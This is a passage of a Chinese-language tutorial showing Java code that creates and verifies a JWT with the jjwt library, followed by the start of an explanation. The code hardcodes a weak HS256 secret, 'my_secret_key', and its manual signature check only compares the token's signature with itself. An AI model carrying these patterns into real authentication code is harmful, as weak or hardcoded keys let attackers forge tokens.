</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">class</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWTExample </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">final</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String SECRET_KEY </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"my_secret_key"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">void</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> main</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> args</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">构建</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;"> JWT</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String jwtToken </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">builder</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSubject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"1234567890"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">claim</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"name"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"John Doe"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setIssuedAt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">())</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setExpiration</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">currentTimeMillis</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">3600000</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">))</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// 1 hour</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">signWith</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">HS256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> SECRET_KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">compact</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">验证</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;"> JWT</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">try</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">分离</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;"> Header, Payload </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">和</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;"> Signature</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwtParts </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwtToken</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">split</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"\\."</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String header </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwtParts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">0</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">];</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String payload </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwtParts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">];</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String signature </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwtParts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">2</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">];</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">验证签名</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String expectedSignature </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parser</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSigningKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SECRET_KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parseClaimsJws</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwtToken</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getSignature</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(!</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">signature</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">equals</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">expectedSignature</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">))</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">throw</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> RuntimeException</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Invalid JWT signature"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">验证</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;"> Payload </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">中的信息</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Claims claims </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parser</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSigningKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SECRET_KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parseClaimsJws</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwtToken</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getBody</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Valid JWT"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">catch</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">Exception e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Invalid JWT: "</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getMessage</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">());</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在上面的示例代码中使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">库进行</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名和验证,首先构建了一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,然后将其分离为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">三部分,使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">parseClaimsJws</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">函数对</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span 